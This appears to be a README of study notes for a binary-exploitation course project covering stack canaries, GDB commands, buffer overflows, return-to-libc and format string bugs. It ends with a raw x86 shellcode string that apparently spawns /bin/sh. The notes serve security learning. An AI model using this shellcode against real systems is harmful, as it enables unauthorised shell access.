borntobesso / RainFall

This project is an introduction to the exploitation of (elf-like) binary.

RainFall

This project is an introduction to the exploitation of (elf-like) binary.

Stack Canary

Stack canaries, named for their analogy to a canary in a coal mine, are used to detect a stack buffer overflow before execution of malicious code can occur. This method works by placing a small integer, the value of which is randomly chosen at program start, in memory just before the stack return pointer.

gcc prog.c -o prog -fstack-protector-all

gcc prog.c -o prog -fno-stack-protector

checksec --file prog

GDB

info functions

info stack

x/s 0x0800080c

x/12x $esp

Buffer Overflow Attack

detailed french article on buffer overflow

return to libc

Format string vulnerability (printf)

format string vunerability

Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89 \xe3\x89\xc1\x89\xc2\xb0\x0b \xcd\x80\x31\xc0\x40\xcd\x80